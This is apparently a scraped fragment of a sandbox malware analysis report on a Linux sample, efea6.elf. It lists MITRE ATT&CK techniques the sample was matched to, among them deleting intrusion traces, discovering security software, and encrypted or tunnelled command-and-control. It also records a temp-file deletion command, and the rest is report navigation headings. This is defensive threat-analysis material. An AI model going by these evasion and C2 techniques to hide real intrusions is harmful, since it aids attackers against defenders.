Arguments:	rm -f /tmp/tmp.b35GMOYRvs /tmp/tmp.6tze02S6S4 /tmp/tmp.lOnFvdKqfS
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report efea6.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTPS Connections

System Behavior

Analysis Process: efea6.elf PID: 5543, Parent PID: 5462

General

File Activities

File Opened

File Read

Process Activities

Signal Sent

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Analysis Process: dash PID: 5612, Parent PID: 3670

General

Linux Analysis Report
efea6.elf